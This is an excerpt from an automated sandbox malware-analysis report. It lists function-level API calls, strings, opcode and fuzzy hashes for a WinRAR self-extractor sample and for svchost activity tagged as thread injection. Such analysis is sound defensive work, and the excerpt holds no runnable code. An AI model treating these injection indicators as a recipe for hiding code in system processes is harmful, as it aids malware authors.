                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Thread_wcschr$CreatePriority__vswprintf_c_l
                                                                        • String ID: CreateThread failed
                                                                        • API String ID: 2706921342-3849766595
                                                                        • Opcode ID: 0b8a0b0d4ad89b548c9cabf392c3e97f0393969597b9387dd86e0dca2340d47d
                                                                        • Instruction ID: 59473da22eb8cadea53cce6d721287f7705a7cb6cdb48de44fa7696595e7a903
                                                                        • Opcode Fuzzy Hash: 0b8a0b0d4ad89b548c9cabf392c3e97f0393969597b9387dd86e0dca2340d47d
                                                                        • Instruction Fuzzy Hash: ED014EB534034DAFD3355F24AC55BB6F39CEB54790F60003EFB8752280CEA168A44628
                                                                        Function 002EC058 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcschr
                                                                        • String ID: <91$?*<>|"
                                                                        • API String ID: 2691759472-3724363877
                                                                        • Opcode ID: e87ae047e82e8e586f72cb2bd5a85d6f1dfcfbccc77407d27f71c3898174603d
                                                                        • Instruction ID: 58a5c7888790c4e6326f21585228f75df8fe5cb37216555860962fa277c6f0fe
                                                                        • Opcode Fuzzy Hash: e87ae047e82e8e586f72cb2bd5a85d6f1dfcfbccc77407d27f71c3898174603d
                                                                        • Instruction Fuzzy Hash: 18F0F9175E5383C5C7342FA6D811772B3E8DFA5330FB4081EE4C4872C2E6A188D28255
                                                                        Function 002FDB4B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcslen
                                                                        • String ID: Software\WinRAR SFX$/
                                                                        • API String ID: 176396367-292391286
                                                                        • Opcode ID: 0a713791f7533976041983ccac4521b5b76f9044d1bed11508861edfa3b66cd5
                                                                        • Instruction ID: 82486024a1f4e0495f5cd25a86a7c0075fbab979e8c570c4cfdf72aa353e7ab2
                                                                        • Opcode Fuzzy Hash: 0a713791f7533976041983ccac4521b5b76f9044d1bed11508861edfa3b66cd5
                                                                        • Instruction Fuzzy Hash: 7F01843551011CBBDF32AF51DC09FEBBF7DEB05395F000066B60A950A0DBB09A98CBA1
                                                                        Function 002FAE2F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 002EC29A: _wcslen.LIBCMT ref: 002EC2A2
                                                                          • Part of subcall function 002F1FDD: _wcslen.LIBCMT ref: 002F1FE5
                                                                          • Part of subcall function 002F1FDD: _wcslen.LIBCMT ref: 002F1FF6
                                                                          • Part of subcall function 002F1FDD: _wcslen.LIBCMT ref: 002F2006
                                                                          • Part of subcall function 002F1FDD: _wcslen.LIBCMT ref: 002F2014
                                                                          • Part of subcall function 002F1FDD: CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,002EB371,?,?,00000000,?,?,?), ref: 002F202F
                                                                          • Part of subcall function 002FAC04: SetCurrentDirectoryW.KERNELBASE(?,002FAE72,C:\Users\user\Desktop,00000000,0032946A,00000006), ref: 002FAC08
                                                                        • _wcslen.LIBCMT ref: 002FAE8B
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcslen$CompareCurrentDirectoryString
                                                                        • String ID: </$C:\Users\user\Desktop
                                                                        • API String ID: 521417927-1326940038
                                                                        • Opcode ID: cdfa994d67508664c1be9ce26ba6ab02caacd05dabdd51de0974f83f6c216ada
                                                                        • Instruction ID: 78f7dabe9bdd6a250fc62b657ad54dff04b3e5356fd79efacf3ec3a14272fb45
                                                                        • Opcode Fuzzy Hash: cdfa994d67508664c1be9ce26ba6ab02caacd05dabdd51de0974f83f6c216ada
                                                                        • Instruction Fuzzy Hash: E6017571D1021D55DF12ABA4ED0AEEEB3BCAF08740F000476F606E3191E6B49664CEA1
                                                                        Function 0030BB4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 003097E5: GetLastError.KERNEL32(?,00321030,00304674,00321030,?,?,00303F73,00000050,?,00321030,00000200), ref: 003097E9
                                                                          • Part of subcall function 003097E5: _free.LIBCMT ref: 0030981C
                                                                          • Part of subcall function 003097E5: SetLastError.KERNEL32(00000000,?,00321030,00000200), ref: 0030985D
                                                                          • Part of subcall function 003097E5: _abort.LIBCMT ref: 00309863
                                                                        • _abort.LIBCMT ref: 0030BB80
                                                                        • _free.LIBCMT ref: 0030BBB4
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ErrorLast_abort_free
                                                                        • String ID: p1
                                                                        • API String ID: 289325740-2136682334
                                                                        • Opcode ID: 62a70fe76a326fd165a6f14e6d47f58d32c1d0a7fc98dd3ec5145c76e274a7a5
                                                                        • Instruction ID: 461f76ad7541aa2165b07e8069eef2461970e36b06e36d96ab5b784872398813
                                                                        • Opcode Fuzzy Hash: 62a70fe76a326fd165a6f14e6d47f58d32c1d0a7fc98dd3ec5145c76e274a7a5
                                                                        • Instruction Fuzzy Hash: D301D631D02625DBCB23AF58941166DF764BF08B20B16021AF864672D5CF716D41CFC1
                                                                        Function 002FB425 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Malloc
                                                                        • String ID: (/$Z/
                                                                        • API String ID: 2696272793-651204968
                                                                        • Opcode ID: d4cd6e4ade67be91602317904454d1fd80046d7b4f8262a6a55165cf4db286aa
                                                                        • Instruction ID: dfd9fc815df2d2f43fbb7341aff5fefabc8755de68bcc3855d6112563fe105ab
                                                                        • Opcode Fuzzy Hash: d4cd6e4ade67be91602317904454d1fd80046d7b4f8262a6a55165cf4db286aa
                                                                        • Instruction Fuzzy Hash: 13016D7A650109FF9F069FB0DD49CEEBB7DEF09344B104165B906D7120EB31AA44DB60
                                                                        Function 00308268 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 0030BF30: GetEnvironmentStringsW.KERNEL32 ref: 0030BF39
                                                                          • Part of subcall function 0030BF30: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0030BF5C
                                                                          • Part of subcall function 0030BF30: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0030BF82
                                                                          • Part of subcall function 0030BF30: _free.LIBCMT ref: 0030BF95
                                                                          • Part of subcall function 0030BF30: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0030BFA4
                                                                        • _free.LIBCMT ref: 003082AE
                                                                        • _free.LIBCMT ref: 003082B5
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _free$ByteCharEnvironmentMultiStringsWide$Free
                                                                        • String ID: 0"4
                                                                        • API String ID: 400815659-1563201047
                                                                        • Opcode ID: b9a81c481fc376e6a7dfdbbfa3878cec0065788a1ee23364cb9b1f8c9f76fd4f
                                                                        • Instruction ID: c0ab8466d1c88e4ea626e2c882ab0a2af88fb8852646c864785dc336d2400ac1
                                                                        • Opcode Fuzzy Hash: b9a81c481fc376e6a7dfdbbfa3878cec0065788a1ee23364cb9b1f8c9f76fd4f
                                                                        • Instruction Fuzzy Hash: 39E06527A17D5246D6A333796C72A6B164C4F81338B550F16F5949F1C3DE90980245A6
                                                                        Function 002F0FE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • WaitForSingleObject.KERNEL32(?,000000FF,002F1206,?), ref: 002F0FEA
                                                                        • GetLastError.KERNEL32(?), ref: 002F0FF6
                                                                          • Part of subcall function 002E6C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 002E6C54
                                                                        Strings
                                                                        • WaitForMultipleObjects error %d, GetLastError %d, xrefs: 002F0FFF
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ErrorLastObjectSingleWait__vswprintf_c_l
                                                                        • String ID: WaitForMultipleObjects error %d, GetLastError %d
                                                                        • API String ID: 1091760877-2248577382
                                                                        • Opcode ID: 0da6c695aaef041c8225181c4d379159b65ac91d87c5461b89c7cc47bb7e2c97
                                                                        • Instruction ID: 3a0f379a43b1b3f7da174a62994467cab50f046aeff681a52830768d184d6706
                                                                        • Opcode Fuzzy Hash: 0da6c695aaef041c8225181c4d379159b65ac91d87c5461b89c7cc47bb7e2c97
                                                                        • Instruction Fuzzy Hash: 30D02B3158413076C61233246C0DDFE3C088B39771FB44725F139601E1CE1009B14695
                                                                        Function 002EE29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetModuleHandleW.KERNEL32(00000000,?,002EDA55,?), ref: 002EE2A3
                                                                        • FindResourceW.KERNEL32(00000000,RTL,00000005,?,002EDA55,?), ref: 002EE2B1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: FindHandleModuleResource
                                                                        • String ID: RTL
                                                                        • API String ID: 3537982541-834975271
                                                                        • Opcode ID: 2fd2213fb7489879dd4650f27daf399259525d6f445a4382ed6e074c7d8ac79c
                                                                        • Instruction ID: 46bb62fe1a0bc06f679e2724cd937a6a0e2059182c56eee473eafe8d1f8dd5e2
                                                                        • Opcode Fuzzy Hash: 2fd2213fb7489879dd4650f27daf399259525d6f445a4382ed6e074c7d8ac79c
                                                                        • Instruction Fuzzy Hash: D6C0123164075066EA311B757C0DBC36E9C9B08B11F06048CB642F91D1D6A5C58086A0
                                                                        Function 002FE47A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE467
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: p/$z/
                                                                        • API String ID: 1269201914-627870221
                                                                        • Opcode ID: 9c31d762b04ecd8129729f58983a7b8d88e6d32676b7e0033ada597846c22b1a
                                                                        • Instruction ID: ea167616b4ee54e444276d6de892268fd9a64a5eba899eed321400832f3d22bf
                                                                        • Opcode Fuzzy Hash: 9c31d762b04ecd8129729f58983a7b8d88e6d32676b7e0033ada597846c22b1a
                                                                        • Instruction Fuzzy Hash: 02B012D52B82047C350B61541C02D77814DC0C8FE0331513EF606C52E2DC841E500832
                                                                        Function 002FE455 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE467
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: U/$p/
                                                                        • API String ID: 1269201914-2551689529
                                                                        • Opcode ID: 71d80c8984a51e18eb88831e55bc802bc541a0b1007cd8e021da6bf617cd932f
                                                                        • Instruction ID: 6ba3fda47f288e06599c94c627396451d0624540965f3ce4c6f74d31710d9c83
                                                                        • Opcode Fuzzy Hash: 71d80c8984a51e18eb88831e55bc802bc541a0b1007cd8e021da6bf617cd932f
                                                                        • Instruction Fuzzy Hash: F9B012D52B82047C360B21501D02C77920DC0C4FE0331D13EF702C41F5DC841E510832

                                                                        Execution Graph

                                                                        Execution Coverage:1.9%
                                                                        Dynamic/Decrypted Code Coverage:75%
                                                                        Signature Coverage:0%
                                                                        Total number of Nodes:12
                                                                        Total number of Limit Nodes:0
                                                                        execution_graph 18337 7ffaab93ef8d 18338 7ffaab93ef9b SuspendThread 18337->18338 18340 7ffaab93f074 18338->18340 18333 7ffaab942645 18334 7ffaab942692 GetFileAttributesW 18333->18334 18336 7ffaab942725 18334->18336 18329 7ffaab940939 18330 7ffaab940947 FindCloseChangeNotification 18329->18330 18332 7ffaab940a24 18330->18332 18341 7ffaab9407d8 18342 7ffaab9407ea ResumeThread 18341->18342 18344 7ffaab9408e4 18342->18344

                                                                        Executed Functions

                                                                        Function 00007FFAAB780D74 Relevance: 7.8, Strings: 6, Instructions: 289COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: "9g$U$b4g$r6g$r6g$<O_^
                                                                        • API String ID: 0-4082136941
                                                                        • Opcode ID: 05d408e33f97ed047e07526e53ebf971236401067e0619e20fd803dd56fe548b
                                                                        • Instruction ID: 5cbd67aa907b19b13ea742befb850e7a8182f2ce89bbc0fef6a38051bc731ce0
                                                                        • Opcode Fuzzy Hash: 05d408e33f97ed047e07526e53ebf971236401067e0619e20fd803dd56fe548b
                                                                        • Instruction Fuzzy Hash: 22A190B1A19A898FE798EB68C8557BD7FF1FB9A310F0041BAD00DD76D2CA781845C790
                                                                        Function 00007FFAAB9407D8 Relevance: 1.7, APIs: 1, Instructions: 166threadCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 133 7ffaab9407d8-7ffaab9407e8 134 7ffaab9407eb-7ffaab9407ec 133->134 135 7ffaab9407ea 133->135 136 7ffaab9407ed 134->136 137 7ffaab9407ee-7ffaab940811 134->137 135->134 136->137 138 7ffaab940814-7ffaab9408e2 ResumeThread 137->138 139 7ffaab940813 137->139 142 7ffaab9408ea-7ffaab940934 138->142 143 7ffaab9408e4 138->143 139->138 143->142
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3929652948.00007FFAAB930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB930000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab930000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID: ResumeThread
                                                                        • String ID:
                                                                        • API String ID: 947044025-0
                                                                        • Opcode ID: f62cae51041dcac01cb9ff6fabe4dd3dc3898c269ca7aac0135435660efc6c13
                                                                        • Instruction ID: d54c5921122570897e83d263d98bd52645c1fc3f4c0e9374c3f8dd1f5e979bee
                                                                        • Opcode Fuzzy Hash: f62cae51041dcac01cb9ff6fabe4dd3dc3898c269ca7aac0135435660efc6c13
                                                                        • Instruction Fuzzy Hash: 5D518E7090D78C8FDB55DFA4C854AE9BFF0EF56310F1441ABD049DB2A2DA389846CB51
                                                                        Function 00007FFAAB940939 Relevance: 1.6, APIs: 1, Instructions: 145COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 146 7ffaab940939-7ffaab940945 147 7ffaab940950-7ffaab940a22 FindCloseChangeNotification 146->147 148 7ffaab940947-7ffaab94094f 146->148 152 7ffaab940a2a-7ffaab940a7e 147->152 153 7ffaab940a24 147->153 148->147 153->152
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3929652948.00007FFAAB930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB930000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab930000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID: ChangeCloseFindNotification
                                                                        • String ID:
                                                                        • API String ID: 2591292051-0
                                                                        • Opcode ID: c2099654d7897f5e8c27a6a6b4381978df05611be6a35f87c30c6b22ef7a8070
                                                                        • Instruction ID: 058568daccf1307115b12ab1c8f33bf523d39e4c6021bfaee4d8c94061fad2dc
                                                                        • Opcode Fuzzy Hash: c2099654d7897f5e8c27a6a6b4381978df05611be6a35f87c30c6b22ef7a8070
                                                                        • Instruction Fuzzy Hash: 8E415A71D0865C8FDB59DFA8C889BECBBF0EB56310F1041AAD04DE7292DA74A885CB41
                                                                        Function 00007FFAAB93EF8D Relevance: 1.6, APIs: 1, Instructions: 142threadinjectionCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 157 7ffaab93ef8d-7ffaab93ef99 158 7ffaab93ef9b-7ffaab93efa3 157->158 159 7ffaab93efa4-7ffaab93f072 SuspendThread 157->159 158->159 162 7ffaab93f07a-7ffaab93f0c4 159->162 163 7ffaab93f074 159->163 163->162
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3929652948.00007FFAAB930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB930000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab930000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID: SuspendThread
                                                                        • String ID:
                                                                        • API String ID: 3178671153-0
                                                                        • Opcode ID: d3641e6dcf28c450f413c1d12e3abf355adf1138b6772446d034c54289193d04
                                                                        • Instruction ID: 6b7896d12235bb7dcd44572e1158d4e9eaaf85dc747af59654ac04c74e291d2b
                                                                        • Opcode Fuzzy Hash: d3641e6dcf28c450f413c1d12e3abf355adf1138b6772446d034c54289193d04
                                                                        • Instruction Fuzzy Hash: B6413B70D08A4C8FDB58DFA8D885BADBBF0FB5A310F1041AAD449E7292DA75A845CB41
                                                                        Function 00007FFAAB942645 Relevance: 1.6, APIs: 1, Instructions: 133COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 166 7ffaab942645-7ffaab942723 GetFileAttributesW 169 7ffaab94272b-7ffaab942769 166->169 170 7ffaab942725 166->170 170->169
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3929652948.00007FFAAB930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB930000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab930000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID: AttributesFile
                                                                        • String ID:
                                                                        • API String ID: 3188754299-0
                                                                        • Opcode ID: 84ac4ef778a3c1615a2f4e73432ed9200abe4a0afdad994caef3f947c43348a8
                                                                        • Instruction ID: 9f6e7d9569fad39244a0e6f7d5837752c427153729b17ca1eaff481bf3e7fdaf
                                                                        • Opcode Fuzzy Hash: 84ac4ef778a3c1615a2f4e73432ed9200abe4a0afdad994caef3f947c43348a8
                                                                        • Instruction Fuzzy Hash: 3841F774D0864C8FDB98DF98D885BEDBBF0FB5A310F10416AD009E7252DA71A846CF41
